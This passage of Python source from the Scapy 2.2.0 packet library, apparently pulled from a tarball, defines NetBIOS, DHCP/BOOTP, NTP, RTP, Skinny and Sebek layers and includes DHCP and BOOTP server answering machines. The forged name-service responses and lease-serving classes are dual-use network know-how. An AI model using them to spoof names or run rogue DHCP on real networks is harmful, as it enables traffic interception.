0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"})] # Name Registration Request # Name Refresh Request # Name Release Request or Demand class NBNSRequest(Packet): name="NBNS request" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x2910), ShortField("QDCOUNT",1), ShortField("ANCOUNT",0), ShortField("NSCOUNT",0), ShortField("ARCOUNT",1), NetBIOSNameField("QUESTION_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}), ShortEnumField("RR_NAME",0xC00C,{0xC00C:"Label String Pointer to QUESTION_NAME"}), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL", 0), ShortField("RDLENGTH", 6), BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}), BitEnumField("OWNER_NODE_TYPE",00,2,{00:"B node",01:"P node",02:"M node",03:"H node"}), BitEnumField("UNUSED",0,13,{0:"Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response # Name Registration Response class NBNSQueryResponse(Packet): name="NBNS query response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("QUESTION_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("QUESTION_CLASS",1,{1:"INTERNET"}), IntField("TTL", 0x493e0), ShortField("RDLENGTH", 6), ShortField("NB_FLAGS", 0), IPField("NB_ADDRESS", "127.0.0.1")] # Name Query Response (negative) # Name Release Response class NBNSQueryResponseNegative(Packet): name="NBNS query response (negative)" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8506), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL",0), ShortField("RDLENGTH",6), BitEnumField("G",0,1,{0:"Unique name",1:"Group name"}), BitEnumField("OWNER_NODE_TYPE",00,2,{00:"B node",01:"P node",02:"M node",03:"H node"}), BitEnumField("UNUSED",0,13,{0:"Unused"}), IPField("NB_ADDRESS", "127.0.0.1")] # Node Status Response class NBNSNodeStatusResponse(Packet): name="NBNS Node Status Response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0x8500), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x21, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL",0), ShortField("RDLENGTH",83), ByteField("NUM_NAMES",1)] # Service for Node Status Response class NBNSNodeStatusResponseService(Packet): name="NBNS Node Status Response Service" fields_desc = [StrFixedLenField("NETBIOS_NAME","WINDOWS ",15), ByteEnumField("SUFFIX",0,{0:"workstation",0x03:"messenger service",0x20:"file server service",0x1b:"domain master browser",0x1c:"domain controller", 0x1e:"browser election service"}), ByteField("NAME_FLAGS",0x4), ByteEnumField("UNUSED",0,{0:"unused"})] # End of Node Status Response packet class NBNSNodeStatusResponseEnd(Packet): name="NBNS Node Status Response" fields_desc = [SourceMACField("MAC_ADDRESS"), BitField("STATISTICS",0,57*8)] # Wait for Acknowledgement Response class NBNSWackResponse(Packet): name="NBNS Wait for Acknowledgement Response" fields_desc = [ShortField("NAME_TRN_ID",0), ShortField("FLAGS", 0xBC07), ShortField("QDCOUNT",0), ShortField("ANCOUNT",1), ShortField("NSCOUNT",0), ShortField("ARCOUNT",0), NetBIOSNameField("RR_NAME","windows"), ShortEnumField("SUFFIX",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), ShortEnumField("RR_TYPE",0x20, {0x20:"NB",0x21:"NBSTAT"}), ShortEnumField("RR_CLASS",1,{1:"INTERNET"}), IntField("TTL", 2), ShortField("RDLENGTH",2), BitField("RDATA",10512,16)] #10512=0010100100010000 class NBTDatagram(Packet): name="NBT Datagram Packet" fields_desc= [ByteField("Type", 0x10), ByteField("Flags", 0x02), ShortField("ID", 0), IPField("SourceIP", "127.0.0.1"), ShortField("SourcePort", 138), ShortField("Length", 272), ShortField("Offset", 0), NetBIOSNameField("SourceName","windows"), ShortEnumField("SUFFIX1",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0), NetBIOSNameField("DestinationName","windows"), ShortEnumField("SUFFIX2",0x4141,{0x4141:"workstation",0x4141+0x03:"messenger service",0x4141+0x200:"file server service",0x4141+0x10b:"domain master browser",0x4141+0x10c:"domain controller", 0x4141+0x10e:"browser election service"}), ByteField("NULL",0)] class NBTSession(Packet): name="NBT Session Packet" fields_desc= [ByteEnumField("TYPE",0,{0x00:"Session Message",0x81:"Session Request",0x82:"Positive Session Response",0x83:"Negative Session Response",0x84:"Retarget Session Response",0x85:"Session Keepalive"}), BitField("RESERVED",0x00,7), BitField("LENGTH",0,17)] bind_layers( UDP, NBNSQueryRequest, dport=137) bind_layers( UDP, NBNSRequest, dport=137) bind_layers( UDP, NBNSQueryResponse, sport=137) bind_layers( UDP, NBNSQueryResponseNegative, sport=137) bind_layers( UDP, NBNSNodeStatusResponse, sport=137) bind_layers( NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponse, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseService, ) bind_layers( NBNSNodeStatusResponseService, NBNSNodeStatusResponseEnd, ) bind_layers( UDP, NBNSWackResponse, sport=137) bind_layers( UDP, NBTDatagram, dport=138) bind_layers( TCP, NBTSession, dport=139) scapy-2.2.0/scapy/layers/dhcp.py0000644000175000017500000002761711430356072014664 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ DHCP (Dynamic Host Configuration Protocol) d BOOTP """ import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import UDP,IP from scapy.layers.l2 import Ether from scapy.base_classes import Net from scapy.volatile import RandField from scapy.arch import get_if_raw_hwaddr from scapy.sendrecv import srp1 dhcpmagic="c\x82Sc" class BOOTP(Packet): name = "BOOTP" fields_desc = [ ByteEnumField("op",1, {1:"BOOTREQUEST", 2:"BOOTREPLY"}), ByteField("htype",1), ByteField("hlen",6), ByteField("hops",0), IntField("xid",0), ShortField("secs",0), FlagsField("flags", 0, 16, "???????????????B"), IPField("ciaddr","0.0.0.0"), IPField("yiaddr","0.0.0.0"), IPField("siaddr","0.0.0.0"), IPField("giaddr","0.0.0.0"), Field("chaddr","", "16s"), Field("sname","","64s"), Field("file","","128s"), StrField("options","") ] def guess_payload_class(self, payload): if self.options[:len(dhcpmagic)] == dhcpmagic: return DHCP else: return Packet.guess_payload_class(self, payload) def extract_padding(self,s): if self.options[:len(dhcpmagic)] == dhcpmagic: # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options payload = self.options[len(dhcpmagic):] self.options = self.options[:len(dhcpmagic)] return payload, None else: return "", None def hashret(self): return struct.pack("L", self.xid) def answers(self, other): if not isinstance(other, BOOTP): return 0 return self.xid == other.xid #DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \ #= range(4) # DHCPTypes = { 1: "discover", 2: "offer", 3: "request", 4: "decline", 5: "ack", 6: "nak", 7: "release", 8: "inform", 9: "force_renew", 10:"lease_query", 11:"lease_unassigned", 12:"lease_unknown", 13:"lease_active", } DHCPOptions = { 0: "pad", 1: IPField("subnet_mask", "0.0.0.0"), 2: "time_zone", 3: IPField("router","0.0.0.0"), 4: IPField("time_server","0.0.0.0"), 5: IPField("IEN_name_server","0.0.0.0"), 6: IPField("name_server","0.0.0.0"), 7: IPField("log_server","0.0.0.0"), 8: IPField("cookie_server","0.0.0.0"), 9: IPField("lpr_server","0.0.0.0"), 12: "hostname", 14: "dump_path", 15: "domain", 17: "root_disk_path", 22: "max_dgram_reass_size", 23: "default_ttl", 24: "pmtu_timeout", 28: IPField("broadcast_address","0.0.0.0"), 35: "arp_cache_timeout", 36: "ether_or_dot3", 37: "tcp_ttl", 38: "tcp_keepalive_interval", 39: "tcp_keepalive_garbage", 40: "NIS_domain", 41: IPField("NIS_server","0.0.0.0"), 42: IPField("NTP_server","0.0.0.0"), 43: "vendor_specific", 44: IPField("NetBIOS_server","0.0.0.0"), 45: IPField("NetBIOS_dist_server","0.0.0.0"), 50: IPField("requested_addr","0.0.0.0"), 51: IntField("lease_time", 43200), 54: IPField("server_id","0.0.0.0"), 55: "param_req_list", 57: ShortField("max_dhcp_size", 1500), 58: IntField("renewal_time", 21600), 59: IntField("rebinding_time", 37800), 60: "vendor_class_id", 61: "client_id", 64: "NISplus_domain", 65: IPField("NISplus_server","0.0.0.0"), 69: IPField("SMTP_server","0.0.0.0"), 70: IPField("POP3_server","0.0.0.0"), 71: IPField("NNTP_server","0.0.0.0"), 72: IPField("WWW_server","0.0.0.0"), 73: IPField("Finger_server","0.0.0.0"), 74: IPField("IRC_server","0.0.0.0"), 75: IPField("StreetTalk_server","0.0.0.0"), 76: "StreetTalk_Dir_Assistance", 82: "relay_agent_Information", 53: ByteEnumField("message-type", 1, DHCPTypes), # 55: DHCPRequestListField("request-list"), 255: "end" } DHCPRevOptions = {} for k,v in DHCPOptions.iteritems(): if type(v) is str: n = v v = None else: n = v.name DHCPRevOptions[n] = (k,v) del(n) del(v) del(k) class RandDHCPOptions(RandField): def __init__(self, size=None, rndstr=None): if size is None: size = RandNumExpo(0.05) self.size = size if rndstr is None: rndstr = RandBin(RandNum(0,255)) self.rndstr=rndstr self._opts = DHCPOptions.values() self._opts.remove("pad") self._opts.remove("end") def _fix(self): op = [] for k in range(self.size): o = random.choice(self._opts) if type(o) is str: op.append((o,self.rndstr*1)) else: op.append((o.name, o.randval()._fix())) return op class DHCPOptionsField(StrField): islist=1 def i2repr(self,pkt,x): s = [] for v in x: if type(v) is tuple and len(v) >= 2: if DHCPRevOptions.has_key(v[0]) and isinstance(DHCPRevOptions[v[0]][1],Field): f = DHCPRevOptions[v[0]][1] vv = ",".join(f.i2repr(pkt,val) for val in v[1:]) else: vv = ",".join(repr(val) for val in v[1:]) r = "%s=%s" % (v[0],vv) s.append(r) else: s.append(sane(v)) return "[%s]" % (" ".join(s)) def getfield(self, pkt, s): return "", self.m2i(pkt, s) def m2i(self, pkt, x): opt = [] while x: o = ord(x[0]) if o == 255: opt.append("end") x = x[1:] continue if o == 0: opt.append("pad") x = x[1:] continue if len(x) < 2 or len(x) < ord(x[1])+2: opt.append(x) break elif DHCPOptions.has_key(o): f = DHCPOptions[o] if isinstance(f, str): olen = ord(x[1]) opt.append( (f,x[2:olen+2]) ) x = x[olen+2:] else: olen = ord(x[1]) lval = [f.name] try: left = x[2:olen+2] while left: left, val = f.getfield(pkt,left) lval.append(val) except: opt.append(x) break else: otuple = tuple(lval) opt.append(otuple) x = x[olen+2:] else: olen = ord(x[1]) opt.append((o, x[2:olen+2])) x = x[olen+2:] return opt def i2m(self, pkt, x): if type(x) is str: return x s = "" for o in x: if type(o) is tuple and len(o) >= 2: name = o[0] lval = o[1:] if isinstance(name, int): onum, oval = name, "".join(lval) elif DHCPRevOptions.has_key(name): onum, f = DHCPRevOptions[name] if f is not None: lval = [f.addfield(pkt,"",f.any2i(pkt,val)) for val in lval] oval = "".join(lval) else: warning("Unknown field option %s" % name) continue s += chr(onum) s += chr(len(oval)) s += oval elif (type(o) is str and DHCPRevOptions.has_key(o) and DHCPRevOptions[o][1] == None): s += chr(DHCPRevOptions[o][0]) elif type(o) is int: s += chr(o)+"\0" elif type(o) is str: s += o else: warning("Malformed option %s" % o) return s class DHCP(Packet): name = "DHCP options" fields_desc = [ DHCPOptionsField("options","") ] bind_layers( UDP, BOOTP, dport=67, sport=68) bind_layers( UDP, BOOTP, dport=68, sport=67) bind_bottom_up( UDP, BOOTP, dport=67, sport=67) bind_layers( BOOTP, DHCP, options='c\x82Sc') def dhcp_request(iface=None,**kargs): if conf.checkIPaddr != 0: warning("conf.checkIPaddr is not 0, I may not be able to match the answer") if iface is None: iface = conf.iface fam,hw = get_if_raw_hwaddr(iface) return srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67) /BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]),iface=iface,**kargs) class BOOTP_am(AnsweringMachine): function_name = "bootpd" filter = "udp and port 68 and port 67" send_function = staticmethod(sendp) def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24",gw="192.168.1.1", domain="localnet", renewal_time=60, lease_time=1800): if type(pool) is str: poom = Net(pool) self.domain = domain netw,msk = (network.split("/")+["32"])[:2] msk = itom(int(msk)) self.netmask = ltoa(msk) self.network = ltoa(atol(netw)&msk) self.broadcast = ltoa( atol(self.network) | (0xffffffff&~msk) ) self.gw = gw if isinstance(pool,Gen): pool = [k for k in pool if k not in [gw, self.network, self.broadcast]] pool.reverse() if len(pool) == 1: pool, = pool self.pool = pool self.lease_time = lease_time self.renewal_time = renewal_time self.leases = {} def is_request(self, req): if not req.haslayer(BOOTP): return 0 reqb = req.getlayer(BOOTP) if reqb.op != 1: return 0 return 1 def print_reply(self, req, reply): print "Reply %s to %s" % (reply.getlayer(IP).dst,reply.dst) def make_reply(self, req): mac = req.src if type(self.pool) is list: if not self.leases.has_key(mac): self.leases[mac] = self.pool.pop() ip = self.leases[mac] else: ip = self.pool repb = req.getlayer(BOOTP).copy() repb.op="BOOTREPLY" repb.yiaddr = ip repb.siaddr = self.gw repb.ciaddr = self.gw repb.giaddr = self.gw del(repb.payload) rep=Ether(dst=mac)/IP(dst=ip)/UDP(sport=req.dport,dport=req.sport)/repb return rep class DHCP_am(BOOTP_am): function_name="dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0],{1:2,3:5}.get(op[1],op[1])) for op in req[DHCP].options if type(op) is tuple and op[0] == "message-type"] dhcp_options += [("server_id",self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), "end" ] resp /= DHCP(options=dhcp_options) return resp scapy-2.2.0/scapy/layers/sebek.py0000644000175000017500000001106211430356076015026 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Sebek: Linux kernel module for data collection on honeypots. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP ### SEBEK class SebekHead(Packet): name = "Sebek header" fields_desc = [ XIntField("magic", 0xd0d0d0), ShortField("version", 1), ShortEnumField("type", 0, {"read":0, "write":1, "socket":2, "open":3}), IntField("counter", 0), IntField("time_sec", 0), IntField("time_usec", 0) ] def mysummary(self): return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%") # we need this because Sebek headers differ between v1 and v3, and # between v3 type socket and v3 others class SebekV1(Packet): name = "Sebek v1" fields_desc = [ IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), StrFixedLenField("command", "", 12), FieldLenField("data_length", None, "data",fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.command%)") else: return self.sprintf("Sebek v1 (%SebekV1.command%)") class SebekV3(Packet): name = "Sebek v3" fields_desc = [ IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("command", "", 12), FieldLenField("data_length", None, "data",fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.command%)") else: return self.sprintf("Sebek v3 (%SebekV3.command%)") class SebekV2(SebekV3): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.command%)") else: return self.sprintf("Sebek v2 (%SebekV2.command%)") class SebekV3Sock(Packet): name = "Sebek v2 socket" fields_desc = [ IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("command", "", 12), IntField("data_length", 15), IPField("dip", "127.0.0.1"), ShortField("dport", 0), IPField("sip", "127.0.0.1"), ShortField("sport", 0), ShortEnumField("call", 0, { "bind":2, "connect":3, "listen":4, "accept":5, "sendmsg":16, "recvmsg":17, "sendto":11, "recvfrom":12}), ByteEnumField("proto", 0, IP_PROTOS) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.command%)") else: return self.sprintf("Sebek v3 socket (%SebekV3Sock.command%)") class SebekV2Sock(SebekV3Sock): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.command%)") else: return self.sprintf("Sebek v2 socket (%SebekV2Sock.command%)") bind_layers( UDP, SebekHead, sport=1101) bind_layers( UDP, SebekHead, dport=1101) bind_layers( UDP, SebekHead, dport=1101, sport=1101) bind_layers( SebekHead, SebekV1, version=1) bind_layers( SebekHead, SebekV2Sock, version=2, type=2) bind_layers( SebekHead, SebekV2, version=2) bind_layers( SebekHead, SebekV3Sock, version=3, type=2) bind_layers( SebekHead, SebekV3, version=3) scapy-2.2.0/scapy/layers/ntp.py0000644000175000017500000000476711430356075014553 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ NTP (Network Time Protocol). """ import time from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP # seconds between 01-01-1900 and 01-01-1970 _NTP_BASETIME = 2208988800 class TimeStampField(FixedPointField): def __init__(self, name, default): FixedPointField.__init__(self, name, default, 64, 32) def i2repr(self, pkt, val): if val is None: return "--" val = self.i2h(pkt,val) if val < _NTP_BASETIME: return val return time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(val-_NTP_BASETIME)) def any2i(self, pkt, val): if type(val) is str: return int(time.mktime(time.strptime(val))) + _NTP_BASETIME + 3600 # XXX return FixedPointField.any2i(self,pkt,val) def i2m(self, pkt, val): if val is None: val = FixedPointField.any2i(self, pkt, time.time()+_NTP_BASETIME) return FixedPointField.i2m(self, pkt, val) class NTP(Packet): # RFC 1769 name = "NTP" fields_desc = [ BitEnumField('leap', 0, 2, { 0: 'nowarning', 1: 'longminute', 2: 'shortminute', 3: 'notsync'}), BitField('version', 3, 3), BitEnumField('mode', 3, 3, { 0: 'reserved', 1: 'sym_active', 2: 'sym_passive', 3: 'client', 4: 'server', 5: 'broadcast', 6: 'control', 7: 'private'}), BitField('stratum', 2, 8), BitField('poll', 0xa, 8), ### XXX : it's a signed int BitField('precision', 0, 8), ### XXX : it's a signed int FixedPointField('delay', 0, size=32, frac_bits=16), FixedPointField('dispersion', 0, size=32, frac_bits=16), IPField('id', "127.0.0.1"), TimeStampField('ref', 0), TimeStampField('orig', None), # None means current time TimeStampField('recv', 0), TimeStampField('sent', None) ] def mysummary(self): return self.sprintf("NTP v%ir,NTP.version%, %NTP.mode%") bind_layers( UDP, NTP, dport=123, sport=123) scapy-2.2.0/scapy/layers/rtp.py0000644000175000017500000000262511430356076014547 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RTP (Real-time Transport Protocol). """ from scapy.packet import * from scapy.fields import * _rtp_payload_types = { # http://www.iana.org/assignments/rtp-parameters 0: 'G.711 PCMU', 3: 'GSM', 4: 'G723', 5: 'DVI4', 6: 'DVI4', 7: 'LPC', 8: 'PCMA', 9: 'G722', 10: 'L16', 11: 'L16', 12: 'QCELP', 13: 'CN', 14: 'MPA', 15: 'G728', 16: 'DVI4', 17: 'DVI4', 18: 'G729', 25: 'CelB', 26: 'JPEG', 28: 'nv', 31: 'H261', 32: 'MPV', 33: 'MP2T', 34: 'H263' } class RTP(Packet): name="RTP" fields_desc = [ BitField('version', 2, 2), BitField('padding', 0, 1), BitField('extension', 0, 1), BitFieldLenField('numsync', None, 4, count_of='sync'), BitField('marker', 0, 1), BitEnumField('payload', 0, 7, _rtp_payload_types), ShortField('sequence', 0), IntField('timestamp', 0), IntField('sourcesync', 0), FieldListField('sync', [], IntField("id",0), count_from=lambda pkt:pkt.numsync) ] scapy-2.2.0/scapy/layers/skinny.py0000644000175000017500000001255711430356076015262 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Cisco Skinny protocol. """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import TCP # shamelessly ripped from Ethereal dissector skinny_messages = { # Station -> Callmanager 0x0000: "KeepAliveMessage", 0x0001: "RegisterMessage", 0x0002: "IpPortMessage", 0x0003: "KeypadButtonMessage", 0x0004: "EnblocCallMessage", 0x0005: "StimulusMessage", 0x0006: "OffHookMessage", 0x0007: "OnHookMessage", 0x0008: "HookFlashMessage", 0x0009: "ForwardStatReqMessage", 0x000A: "SpeedDialStatReqMessage", 0x000B: "LineStatReqMessage", 0x000C: "ConfigStatReqMessage", 0x000D: "TimeDateReqMessage", 0x000E: "ButtonTemplateReqMessage", 0x000F: "VersionReqMessage", 0x0010: "CapabilitiesResMessage", 0x0011: "MediaPortListMessage", 0x0012: "ServerReqMessage", 0x0020: "AlarmMessage", 0x0021: "MulticastMediaReceptionAck", 0x0022: "OpenReceiveChannelAck", 0x0023: "ConnectionStatisticsRes", 0x0024: "OffHookWithCgpnMessage", 0x0025: "SoftKeySetReqMessage", 0x0026: "SoftKeyEventMessage", 0x0027: "UnregisterMessage", 0x0028: "SoftKeyTemplateReqMessage", 0x0029: "RegisterTokenReq", 0x002A: "MediaTransmissionFailure", 0x002B: "HeadsetStatusMessage", 0x002C: "MediaResourceNotification", 0x002D: "RegisterAvailableLinesMessage", 0x002E: "DeviceToUserDataMessage", 0x002F: "DeviceToUserDataResponseMessage", 0x0030: "UpdateCapabilitiesMessage", 0x0031: "OpenMultiMediaReceiveChannelAckMessage", 0x0032: "ClearConferenceMessage", 0x0033: "ServiceURLStatReqMessage", 0x0034: "FeatureStatReqMessage", 0x0035: "CreateConferenceResMessage", 0x0036: "DeleteConferenceResMessage", 0x0037: "ModifyConferenceResMessage", 0x0038: "AddParticipantResMessage", 0x0039: "AuditConferenceResMessage", 0x0040: "AuditParticipantResMessage", 0x0041: "DeviceToUserDataVersion1Message", # Callmanager -> Station */ 0x0081: "RegisterAckMessage", 0x0082: "StartToneMessage", 0x0083: "StopToneMessage", 0x0085: "SetRingerMessage", 0x0086: "SetLampMessage", 0x0087: "SetHkFDetectMessage", 0x0088: "SetSpeakerModeMessage", 0x0089: "SetMicroModeMessage", 0x008A: "StartMediaTransmission", 0x008B: "StopMediaTransmission", 0x008C: "StartMediaReception", 0x008D: "StopMediaReception", 0x008F: "CallInfoMessage", 0x0090: "ForwardStatMessage", 0x0091: "SpeedDialStatMessage", 0x0092: "LineStatMessage", 0x0093: "ConfigStatMessage", 0x0094: "DefineTimeDate", 0x0095: "StartSessionTransmission", 0x0096: "StopSessionTransmission", 0x0097: "ButtonTemplateMessage", 0x0098: "VersionMessage", 0x0099: "DisplayTextMessage", 0x009A: "ClearDisplay", 0x009B: "CapabilitiesReqMessage", 0x009C: "EnunciatorCommandMessage", 0x009D: "RegisterRejectMessage", 0x009E: "ServerResMessage", 0x009F: "Reset", 0x0100: "KeepAliveAckMessage", 0x0101: "StartMulticastMediaReception", 0x0102: "StartMulticastMediaTransmission", 0x0103: "StopMulticastMediaReception", 0x0104: "StopMulticastMediaTransmission", 0x0105: "OpenReceiveChannel", 0x0106: "CloseReceiveChannel", 0x0107: "ConnectionStatisticsReq", 0x0108: "SoftKeyTemplateResMessage", 0x0109: "SoftKeySetResMessage", 0x0110: "SelectSoftKeysMessage", 0x0111: "CallStateMessage", 0x0112: "DisplayPromptStatusMessage", 0x0113: "ClearPromptStatusMessage", 0x0114: "DisplayNotifyMessage", 0x0115: "ClearNotifyMessage", 0x0116: "ActivateCallPlaneMessage", 0x0117: "DeactivateCallPlaneMessage", 0x0118: "UnregisterAckMessage", 0x0119: "BackSpaceReqMessage", 0x011A: "RegisterTokenAck", 0x011B: "RegisterTokenReject", 0x0042: "DeviceToUserDataResponseVersion1Message", 0x011C: "StartMediaFailureDetection", 0x011D: "DialedNumberMessage", 0x011E: "UserToDeviceDataMessage", 0x011F: "FeatureStatMessage", 0x0120: "DisplayPriNotifyMessage", 0x0121: "ClearPriNotifyMessage", 0x0122: "StartAnnouncementMessage", 0x0123: "StopAnnouncementMessage", 0x0124: "AnnouncementFinishMessage", 0x0127: "NotifyDtmfToneMessage", 0x0128: "SendDtmfToneMessage", 0x0129: "SubscribeDtmfPayloadReqMessage", 0x012A: "SubscribeDtmfPayloadResMessage", 0x012B: "SubscribeDtmfPayloadErrMessage", 0x012C: "UnSubscribeDtmfPayloadReqMessage", 0x012D: "UnSubscribeDtmfPayloadResMessage", 0x012E: "UnSubscribeDtmfPayloadErrMessage", 0x012F: "ServiceURLStatMessage", 0x0130: "CallSelectStatMessage", 0x0131: "OpenMultiMediaChannelMessage", 0x0132: "StartMultiMediaTransmission", 0x0133: "StopMultiMediaTransmission", 0x0134: "MiscellaneousCommandMessage", 0x0135: "FlowControlCommandMessage", 0x0136: "CloseMultiMediaReceiveChannel", 0x0137: "CreateConferenceReqMessage", 0x0138: "DeleteConferenceReqMessage", 0x0139: "ModifyConferenceReqMessage", 0x013A: "AddParticipantReqMessage", 0x013B: "DropParticipantReqMessage", 0x013C: "AuditConferenceReqMessage", 0x013D: "AuditParticipantReqMessage", 0x013F: "UserToDeviceDataVersion1Message", } class Skinny(Packet): name="Skinny" fields_desc = [ LEIntField("len",0), LEIntField("res",0), LEIntEnumField("msg",0,skinny_messages) ] bind_layers( TCP, Skinny, dport=2000) bind_layers( TCP, Skinny, sport=2000) scapy-2.2.0/scapy/layers/l2.py0000644000175000017500000004436311430356075014263 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Classes and functions for layer 2 protocols. """ import os,struct,time from scapy.base_classes import Net from scapy.config import conf from scapy.packet import * from scapy.ansmachine import * from scapy.plist import SndRcvList from scapy.fields import * from scapy.sendrecv import srp,srp1 from scapy.arch import get_if_hwaddr ################# ## Tools ## ################# class Neighbor: def __init__(self): self.resolvers = {} def register_l3(self, l2, l3, resolve_method): self.resolvers[l2,l3]=resolve_method def resolve(self, l2inst, l3inst): k = l2inst.__class__,l3inst.__class__ if k in self.resolvers: return self.resolvers[k](l2inst,l3inst) def __repr__(self): return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2,l3 in self.resolvers) conf.neighbor = Neighbor() conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s @conf.commands.register def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip,Net): ip = iter(ip).next() tmp = map(ord, inet_aton(ip)) if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3]) iff,a,gw = conf.route.route(ip) if ( (iff == "lo") or (ip == conf.route.get_if_bcast(iff)) ): return "ff:ff:ff:ff:ff:ff" if gw != "0.0.0.0": ip = gw mac = 